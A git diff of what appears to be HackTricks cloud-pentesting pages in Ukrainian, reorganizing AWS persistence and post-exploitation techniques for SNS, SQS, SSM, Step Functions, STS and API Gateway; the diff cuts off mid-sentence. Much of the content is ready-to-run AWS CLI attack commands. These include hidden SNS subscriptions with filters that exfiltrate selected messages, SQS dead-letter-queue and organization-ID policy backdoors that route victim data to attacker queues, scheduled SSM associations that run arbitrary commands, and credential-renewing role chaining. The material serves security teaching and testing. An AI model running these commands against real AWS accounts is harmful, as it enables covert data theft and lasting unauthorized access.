/tmp/replica_policy.json < \ ---protocol http \ ---notification-endpoint http:/// \ ---topic-arn -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md new file mode 100644 index 000000000..2cc4e51ab --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md @@ -0,0 +1,113 @@ +# AWS - SNS Персистентність + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +Для отримання додаткової інформації див.: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### Персистентність + +Під час створення **SNS topic** потрібно в IAM policy вказати, **хто має доступ на читання та запис**. Можна вказати зовнішні акаунти, ARN ролей або **навіть "\*"**.\ +Наведена політика надає всім в AWS доступ для читання та запису у SNS topic з назвою **`MySNS.fifo`**: +```json +{ +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__default_statement_ID", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"SNS:Publish", +"SNS:RemovePermission", +"SNS:SetTopicAttributes", +"SNS:DeleteTopic", +"SNS:ListSubscriptionsByTopic", +"SNS:GetTopicAttributes", +"SNS:AddPermission", +"SNS:Subscribe" +], +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", +"Condition": { +"StringEquals": { +"AWS:SourceOwner": "318142138553" +} +} +}, +{ +"Sid": "__console_pub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Publish", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +}, +{ +"Sid": "__console_sub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Subscribe", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +} +] +} +``` +### Створення підписників + +Щоб продовжити exfiltrating всі повідомлення з усіх тем, зловмисник може **створити підписників для всіх тем**. + +Зауважте, що якщо **тема є типу FIFO**, то можна використовувати лише підписників, які працюють через протокол **SQS**. +```bash +aws sns subscribe --region \ +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn +``` +### Сховане, селективне exfiltration via FilterPolicy on MessageBody + +Зловмисник із правами `sns:Subscribe` та `sns:SetSubscriptionAttributes` на topic може створити приховану SQS підписку, яка переадресовує лише ті повідомлення, тіло JSON яких відповідає дуже вузькому фільтру (наприклад, `{"secret":"true"}`). Це знижує обсяг і ймовірність виявлення, при цьому все ще дозволяє exfiltrating конфіденційних записів. + +**Potential Impact**: Сховане, малошумне exfiltration тільки цільових SNS повідомлень з жертви topic. + +Кроки (AWS CLI): +- Переконайтесь, що політика SQS черги атакуючого дозволяє `sqs:SendMessage` від жертви `TopicArn` (Condition `aws:SourceArn` дорівнює `TopicArn`). +- Створіть SQS підписку на topic: + +```bash +aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN +``` + +- Налаштуйте фільтр так, щоб він працював на message body і відповідав лише `secret=true`: + +```bash +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}' +``` + +- Опційна прихованість: увімкніть raw delivery, щоб у отримувача потрапляв лише сирий payload: + +```bash +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true +``` + +- Валідація: опублікуйте два повідомлення і підтвердіть, що лише перше доставлено в чергу атакуючого. Приклад payloads: + +```json +{"secret":"true","data":"exfil"} +{"secret":"false","data":"benign"} +``` + +- Очистка: відпишіться та видаліть чергу SQS атакуючого, якщо вона була створена для тестування persistence. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md deleted file mode 100644 index 787abb7cf..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - SQS Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### Використання політики ресурсів - -В SQS вам потрібно вказати за допомогою IAM політики **хто має доступ до читання та запису**. Можна вказати зовнішні облікові записи, ARN ролей або **навіть "\*"**.\ -Наступна політика надає всім у AWS доступ до всього в черзі під назвою **MyTestQueue**: -```json -{ -"Version": "2008-10-17", -"Id": "__default_policy_ID", -"Statement": [ -{ -"Sid": "__owner_statement", -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": ["SQS:*"], -"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" -} -] -} -``` -> [!NOTE] -> Ви навіть могли б **запустити Lambda в обліковому записі атакуючого щоразу, коли нове повідомлення** додається в чергу (вам потрібно буде повторно додати його) якимось чином. Для цього дотримуйтесь цих інструкцій: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md new file mode 100644 index 000000000..7e64879f4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md @@ -0,0 +1,47 @@ +# AWS - SQS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +Для отримання додаткової інформації перегляньте: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### Використання політики ресурсу + +У SQS потрібно вказати за допомогою IAM-політики **хто має доступ для читання й запису**. Можна вказувати зовнішні акаунти, ARN ролей, або **навіть "\*"**.\ +Наступна політика надає всім в AWS доступ до всього в черзі з назвою **MyTestQueue**: +```json +{ +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__owner_statement", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": ["SQS:*"], +"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" +} +] +} +``` +> [!NOTE] +> Ви навіть можете **trigger a Lambda in the attacker's account every time a new message** is put in the queue (you would need to re-put it). Для цього дотримуйтесь інструкцій: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) + +### Додаткові SQS Persistence Techniques + +{{#ref}} +aws-sqs-dlq-backdoor-persistence.md +{{#endref}} + +{{#ref}} +aws-sqs-orgid-policy-backdoor.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md new file mode 100644 index 000000000..bcba91183 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md @@ -0,0 +1,71 @@ +# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy + +{{#include ../../../../banners/hacktricks-training.md}} + +Зловживайте SQS Dead-Letter Queues (DLQs), щоб таємно відбирати дані з вихідної черги жертви, вказавши її RedrivePolicy на чергу, контрольовану атакуючим. При низькому maxReceiveCount та шляхом ініціювання або очікування звичайних збоїв обробки, повідомлення автоматично перенаправляються до DLQ атакуючого без зміни producers або Lambda event source mappings. + +## Зловживані дозволи +- sqs:SetQueueAttributes на вихідній черзі жертви (щоб встановити RedrivePolicy) +- sqs:SetQueueAttributes на DLQ атакуючого (щоб встановити RedriveAllowPolicy) +- Опціонально для прискорення: sqs:ReceiveMessage на вихідній черзі +- Опціонально для налаштування: sqs:CreateQueue, sqs:SendMessage + +## Потік у тому ж акаунті (allowAll) + +Підготовка (обліковий запис атакуючого або скомпрометований principal): +```bash +REGION=us-east-1 +# 1) Create attacker DLQ +ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text) +ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# 2) Allow any same-account source queue to use this DLQ +aws sqs set-queue-attributes \ +--queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}' +``` +Виконання (запустити від імені скомпрометованого принципала в обліковому записі жертви): +```bash +# 3) Point victim source queue to attacker DLQ with low retries +VICTIM_SRC_URL= +ATTACKER_DLQ_ARN= +aws sqs set-queue-attributes \ +--queue-url "$VICTIM_SRC_URL" --region $REGION \ +--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}' +``` +Прискорення (необов'язково): +```bash +# 4) If you also have sqs:ReceiveMessage on the source queue, force failures +for i in {1..2}; do \ +aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \ +--max-number-of-messages 10 --visibility-timeout 0; \ +done +``` +Надайте, будь ласка, вміст файлу src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md для перекладу. +```bash +# 5) Confirm messages appear in attacker DLQ +aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--max-number-of-messages 10 --attribute-names All --message-attribute-names All +``` +Приклад доказів (атрибути включають DeadLetterQueueSourceArn): +```json +{ +"MessageId": "...", +"Body": "...", +"Attributes": { +"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..." +} +} +``` +## Cross-Account Variant (byQueue) +Встановіть RedriveAllowPolicy на attacker DLQ, щоб дозволяти лише конкретні victim source queue ARNs: +```bash +VICTIM_SRC_ARN= +aws sqs set-queue-attributes \ +--queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}' +``` +## Вплив +- Сховане, стійке data exfiltration/persistence шляхом автоматичного перенаправлення невдалих повідомлень із вихідної черги SQS жертви в attacker-controlled DLQ, з мінімальним операційним шумом і без змін у producers або Lambda mappings. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md new file mode 100644 index 000000000..5b02abda6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md @@ -0,0 +1,38 @@ +# AWS - SQS OrgID Policy Backdoor + +{{#include ../../../../banners/hacktricks-training.md}} + +Зловживайте політикою ресурсу черги SQS, щоб непомітно надати Send, Receive та ChangeMessageVisibility будь-якому principal, який належить до цільової AWS Organization, використовуючи умову aws:PrincipalOrgID. Це створює прихований шлях в масштабі організації, який часто оминає контролі, що перевіряють лише явні account або role ARNs чи star principals. + +### Backdoor policy (додати до політики черги SQS) +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "OrgScopedBackdoor", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"sqs:ReceiveMessage", +"sqs:SendMessage", +"sqs:ChangeMessageVisibility", +"sqs:GetQueueAttributes" +], +"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME", +"Condition": { +"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" } +} +} +] +} +``` +### Кроки +- Отримайте Organization ID за допомогою AWS Organizations API. +- Отримайте SQS queue ARN та налаштуйте queue policy, включивши в неї наведену вище statement. +- Від будь-якого principal, що належить до цієї Organization, відправте та отримайте повідомлення в queue, щоб перевірити доступ. + +### Наслідки +- Прихований доступ по всій Organization для читання та запису SQS messages з будь-якого account у вказаній AWS Organization. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md deleted file mode 100644 index d0171175c..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md +++ /dev/null @@ -1,27 +0,0 @@ -# AWS - SSM Perssitence - -{{#include ../../../banners/hacktricks-training.md}} - -## SSM - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md -{{#endref}} - -### Використання ssm:CreateAssociation для збереження - -Зловмисник з дозволом **`ssm:CreateAssociation`** може створити асоціацію State Manager для автоматичного виконання команд на EC2-екземплярах, керованих SSM. Ці асоціації можна налаштувати на виконання через фіксовані інтервали, що робить їх придатними для збереження, схожого на бекдор, без інтерактивних сесій. -```bash -aws ssm create-association \ ---name SSM-Document-Name \ ---targets Key=InstanceIds,Values=target-instance-id \ ---parameters commands=["malicious-command"] \ ---schedule-expression "rate(30 minutes)" \ ---association-name association-name -``` -> [!NOTE] -> Цей метод збереження працює, поки EC2 екземпляр керується Systems Manager, агент SSM працює, і зловмисник має дозвіл на створення асоціацій. Це не вимагає інтерактивних сесій або явних дозволів ssm:SendCommand. **Важливо:** Параметр `--schedule-expression` (наприклад, `rate(30 minutes)`) повинен відповідати мінімальному інтервалу AWS у 30 хвилин. Для негайного або одноразового виконання повністю пропустіть `--schedule-expression` — асоціація буде виконана один раз після створення. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md new file mode 100644 index 000000000..c517438f0 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md @@ -0,0 +1,27 @@ +# AWS - SSM Персистенція + +{{#include ../../../../banners/hacktricks-training.md}} + +## SSM + +Для додаткової інформації див.: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +{{#endref}} + +### Використання ssm:CreateAssociation для персистенції + +Атакувальник із дозволом **`ssm:CreateAssociation`** може створити State Manager Association для автоматичного виконання команд на EC2 інстансах, керованих SSM. Такі асоціації можна налаштувати на запуск через фіксований інтервал, що робить їх придатними для backdoor-like persistence без інтерактивних сесій. +```bash +aws ssm create-association \ +--name SSM-Document-Name \ +--targets Key=InstanceIds,Values=target-instance-id \ +--parameters commands=["malicious-command"] \ +--schedule-expression "rate(30 minutes)" \ +--association-name association-name +``` +> [!NOTE] +> Цей метод персистентності працює доти, поки EC2 інстанс керується Systems Manager, SSM agent запущено, і зловмисник має дозвіл створювати асоціації. Він не потребує інтерактивних сесій або явних дозволів ssm:SendCommand. **Важливо:** параметр `--schedule-expression` (наприклад, `rate(30 minutes)`) має відповідати мінімальному інтервалу AWS у 30 хвилин. Для негайного або одноразового виконання повністю опустіть `--schedule-expression` — асоціація виконається один раз після створення. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md deleted file mode 100644 index 71d277590..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - Збереження функцій кроків - -{{#include ../../../banners/hacktricks-training.md}} - -## Функції кроків - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-stepfunctions-enum.md -{{#endref}} - -### Задня дверка функції кроків - -Задня дверка функції кроків, щоб вона виконувала будь-який трюк збереження, так що щоразу, коли вона виконується, вона запускатиме ваші шкідливі кроки. - -### Задні дверки псевдонімів - -Якщо обліковий запис AWS використовує псевдоніми для виклику функцій кроків, буде можливим змінити псевдонім, щоб використовувати нову версію функції кроків з задньою дверкою. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md new file mode 100644 index 000000000..bf44c57c6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md @@ -0,0 +1,21 @@ +# AWS - Step Functions Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Step Functions + +Для отримання додаткової інформації див.: + +{{#ref}} +../../aws-services/aws-stepfunctions-enum.md +{{#endref}} + +### Step function Backdooring + +Backdoor a step function, щоб вона виконувала будь-який persistence-трюк — щоразу при її виконанні запускатимуться ваші шкідливі кроки. + +### Backdooring aliases + +Якщо обліковий запис AWS використовує aliases для виклику step functions, можна змінити alias так, щоб він використовував нову backdoored версію step function. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md similarity index 57% rename from src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md rename to src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md index 884db2ff6..06890dd59 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md @@ -1,36 +1,36 @@ -# AWS - STS Persistence +# AWS - STS Персистентність -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## STS -Для отримання додаткової інформації зверніться до: +Для отримання додаткової інформації див.: {{#ref}} -../aws-services/aws-sts-enum.md +../../aws-services/aws-sts-enum.md {{#endref}} -### Токен ролі +### Assume role token -Тимчасові токени не можуть бути перераховані, тому підтримка активного тимчасового токена є способом підтримки стійкості. +Тимчасові токени не можна перелічити, тож підтримання активного тимчасового токена — спосіб забезпечити персистентність.
aws sts get-session-token --duration-seconds 129600
 
-# З MFA
+# With MFA
 aws sts get-session-token \
 --serial-number  \
 --token-code 
 
-# Ім'я апаратного пристрою зазвичай є номером ззаду пристрою, наприклад GAHT12345678
-# Ім'я SMS пристрою - це ARN в AWS, наприклад arn:aws:iam::123456789012:sms-mfa/username
-# Ім'я віртуального пристрою - це ARN в AWS, наприклад arn:aws:iam::123456789012:mfa/username
+# Hardware device name is usually the number from the back of the device, such as GAHT12345678
+# SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
+# Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
 
-### Жонглювання ролями +### Role Chain Juggling -[**Жонглювання ролями є визнаною функцією AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), часто використовується для підтримки прихованої стійкості. Це передбачає можливість **приймати роль, яка потім приймає іншу**, потенційно повертаючись до початкової ролі в **циклічний спосіб**. Кожного разу, коли роль приймається, поле терміну дії облікових даних оновлюється. Отже, якщо дві ролі налаштовані на взаємне прийняття одна одної, ця конфігурація дозволяє безперервне оновлення облікових даних. +[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), часто використовується для підтримки прихованої персистентності. Це передбачає можливість **assume a role which then assumes another**, потенційно повертаючись до початкової ролі в **cyclical manner**. Кожного разу, коли роль виконується (is assumed), поле закінчення терміну дії облікових даних оновлюється. Відтак, якщо дві ролі налаштовані на взаємне assume одна одної, така конфігурація дозволяє постійне поновлення облікових даних. -Ви можете використовувати цей [**інструмент**](https://github.com/hotnops/AWSRoleJuggler/) для підтримки жонглювання ролями: +Ви можете використовувати цей [**tool**](https://github.com/hotnops/AWSRoleJuggler/) щоб підтримувати рольове ланцюжкове переключення: ```bash ./aws_role_juggler.py -h usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]] @@ -40,7 +40,7 @@ optional arguments: -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] ``` > [!CAUTION] -> Зверніть увагу, що скрипт [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) з цього репозиторію на Github не знаходить усі способи, якими може бути налаштований ланцюг ролей. +> Зауважте, що скрипт [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) з того репозиторію Github не знаходить усіх способів, якими може бути налаштовано ланцюг ролей.
@@ -124,4 +124,4 @@ Write-Host "Role juggling check complete." ```
-{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md deleted file mode 100644 index 9c2fb92b9..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ /dev/null @@ -1,132 +0,0 @@ -# AWS - API Gateway Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## API Gateway - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-api-gateway-enum.md -{{#endref}} - -### Доступ до неекспонованих API - -Ви можете створити кінцеву точку в [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) з сервісом `com.amazonaws.us-east-1.execute-api`, експонувати кінцеву точку в мережі, до якої у вас є доступ (можливо, через машину EC2) і призначити групу безпеки, що дозволяє всі з'єднання.\ -Потім, з машини EC2 ви зможете отримати доступ до кінцевої точки і, отже, викликати API шлюзу, який раніше не був експонований. - -### Обхід пропуску тіла запиту - -Цю техніку було виявлено в [**цьому CTF звіті**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). - -Як зазначено в [**документації AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) в розділі `PassthroughBehavior`, за замовчуванням значення **`WHEN_NO_MATCH`**, при перевірці заголовка **Content-Type** запиту, передасть запит на бекенд без трансформації. - -Отже, в CTF API Gateway мав шаблон інтеграції, який **перешкоджав ексфільтрації прапора** у відповіді, коли запит надсилався з `Content-Type: application/json`: -```yaml -RequestTemplates: -application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' -``` -Однак, надсилання запиту з **`Content-type: text/json`** запобігло б цьому фільтру. - -Нарешті, оскільки API Gateway дозволяв лише `Get` та `Options`, було можливим надіслати довільний запит до dynamoDB без жодних обмежень, надіславши POST запит з запитом у тілі та використовуючи заголовок `X-HTTP-Method-Override: GET`: -```bash -curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' -``` -### Usage Plans DoS - -У розділі **Enumeration** ви можете побачити, як **отримати план використання** ключів. Якщо у вас є ключ і він **обмежений** до X використань **на місяць**, ви можете **просто використовувати його і викликати DoS**. - -**API Key** просто потрібно **включити** в **HTTP заголовок** під назвою **`x-api-key`**. - -### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` - -Зловмисник з правами `apigateway:UpdateGatewayResponse` та `apigateway:CreateDeployment` може **модифікувати існуючу відповідь шлюзу, щоб включити користувацькі заголовки або шаблони відповідей, які витікають чутливу інформацію або виконують шкідливі скрипти**. -```bash -API_ID="your-api-id" -RESPONSE_TYPE="DEFAULT_4XX" - -# Update the Gateway Response -aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}" - -# Create a deployment for the updated API Gateway REST API -aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod -``` -**Потенційний вплив**: Витік чутливої інформації, виконання шкідливих скриптів або несанкціонований доступ до ресурсів API. - -> [!NOTE] -> Потрібно тестування - -### `apigateway:UpdateStage`, `apigateway:CreateDeployment` - -Зловмисник з правами `apigateway:UpdateStage` та `apigateway:CreateDeployment` може **модифікувати існуючий етап API Gateway, щоб перенаправити трафік на інший етап або змінити налаштування кешування для отримання несанкціонованого доступу до кешованих даних**. -```bash -API_ID="your-api-id" -STAGE_NAME="Prod" - -# Update the API Gateway stage -aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5" - -# Create a deployment for the updated API Gateway REST API -aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod -``` -**Потенційний вплив**: Несанкціонований доступ до кешованих даних, порушення або перехоплення API-трафіку. - -> [!NOTE] -> Потрібне тестування - -### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` - -Зловмисник з правами `apigateway:PutMethodResponse` та `apigateway:CreateDeployment` може **модифікувати відповідь методу існуючого методу API Gateway REST API, щоб включити користувацькі заголовки або шаблони відповідей, які витікають чутливу інформацію або виконують шкідливі скрипти**. -```bash -API_ID="your-api-id" -RESOURCE_ID="your-resource-id" -HTTP_METHOD="GET" -STATUS_CODE="200" - -# Update the method response -aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true" - -# Create a deployment for the updated API Gateway REST API -aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod -``` -**Потенційний вплив**: Витік чутливої інформації, виконання шкідливих скриптів або несанкціонований доступ до ресурсів API. - -> [!NOTE] -> Потрібно тестування - -### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` - -Зловмисник з правами `apigateway:UpdateRestApi` та `apigateway:CreateDeployment` може **змінити налаштування REST API API Gateway, щоб вимкнути ведення журналу або змінити мінімальну версію TLS, що потенційно послаблює безпеку API**. -```bash -API_ID="your-api-id" - -# Update the REST API settings -aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER' - -# Create a deployment for the updated API Gateway REST API -aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod -``` -**Потенційний вплив**: Послаблення безпеки API, що може дозволити несанкціонований доступ або розкриття чутливої інформації. - -> [!NOTE] -> Потрібно тестування - -### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` - -Зловмисник з правами `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` та `apigateway:CreateUsagePlanKey` може **створювати нові API ключі, асоціювати їх з планами використання, а потім використовувати ці ключі для несанкціонованого доступу до API**. -```bash -# Create a new API key -API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') - -# Create a new usage plan -USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id') - -# Associate the API key with the usage plan -aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY -``` -**Потенційний вплив**: Несанкціонований доступ до ресурсів API, обхід засобів безпеки. - -> [!NOTE] -> Потрібне тестування - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md new file mode 100644 index 000000000..f5c113e15 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md @@ -0,0 +1,132 @@ +# AWS - API Gateway Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## API Gateway + +For more information check: + +{{#ref}} +../../aws-services/aws-api-gateway-enum.md +{{#endref}} + +### Access unexposed APIs + +Ви можете створити endpoint на [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) з сервісом `com.amazonaws.us-east-1.execute-api`, оприлюднити endpoint у мережі, до якої маєте доступ (наприклад через EC2), і призначити security group, що дозволяє всі з'єднання.\ +Потім з EC2 машини ви зможете звертатися до endpoint і, відповідно, викликати gateway API, який раніше не був доступний. + +### Bypass Request body passthrough + +Цю техніку знайдено в [**this CTF 